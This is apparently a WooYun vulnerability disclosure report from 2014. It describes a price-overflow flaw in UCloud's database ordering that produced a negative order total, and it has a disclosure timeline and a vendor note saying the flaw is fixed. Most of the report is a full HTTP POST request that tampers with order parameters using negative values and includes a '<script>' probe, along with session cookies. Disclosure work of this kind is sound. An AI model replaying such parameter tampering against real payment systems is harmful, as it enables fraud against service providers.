乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-01-12: 细节已通知厂商并且等待厂商处理中 2014-01-13: 厂商已经确认,细节仅向厂商公开 2014-01-23: 细节向核心白帽子及相关领域专家公开 2014-02-02: 细节向普通白帽子公开 2014-02-12: 细节向实习白帽子公开 2014-02-26: 细节向公众公开
UCloud 一处价格越界溢出 支付金额变负数估计数值长度到一个极限就变成负数了。。。订单金额: -9.2233720368548E+16 元
#1 问题描述由于在创建UDB填写服务器参数时,服务器未严格校验来自客户端提交的订单参数。#2 利用EXP
POST /api/udb/order HTTP/1.1Host: udb.ucloud.cnConnection: keep-aliveContent-Length: 531Accept: application/json, text/javascript, */*; q=0.01Origin: https://udb.ucloud.cnX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: https://udb.ucloud.cn/udb/createAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: payPlatform=10; bankId=null; tgt=TGC-1389447761r7A9276B24828D2D89F; PHPSESSID=ST-1389511532r78DC60BB54410D4F5F; __utma=242209926.1025238294.1383140674.1389507331.1389511500.46; __utmb=242209926.5.10.1389511500; __utmc=242209926; __utmz=242209926.1383186629.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); Hm_lvt_62f4f23a826efd41750a4479e4cb2491=1387715471,1388750071,1389411748; Hm_lpvt_62f4f23a826efd41750a4479e4cb2491=1389511784db_type_id=-1¶m_group_id=-1&instance_name=dtest123<script>&admin_user=root&admin_password=DDee33%40%40&port=3306&backup_id=&backup_name=&backup_count=-7&backup_begintime=-3&backup_duration=-24&quantity=-1&charge_type=3&count=1&memory_limit=1&disk_space=9999999®ion_name=%E5%8C%97%E4%BA%ACBGP+A&selected=false&disabled=false&display=true&id=3&name=%E4%B8%AD1%E5%9E%8B&db_type_name=mysql5.5¶m_group_name=mysql5.5%E5%B0%8F%E5%9E%8B%E9%BB%98%E8%AE%A4%E9%85%8D%E7%BD%AExxx&use_session=yes&format=json®ion_id=1001&zone_id=1
# 服务端做严格判断~! 我是用正常用户做的测试,请别封号呀,里面还有我自己的余额的!
危害等级:低
漏洞Rank:5
确认时间:2014-01-13 22:40
感谢!已经修复
暂无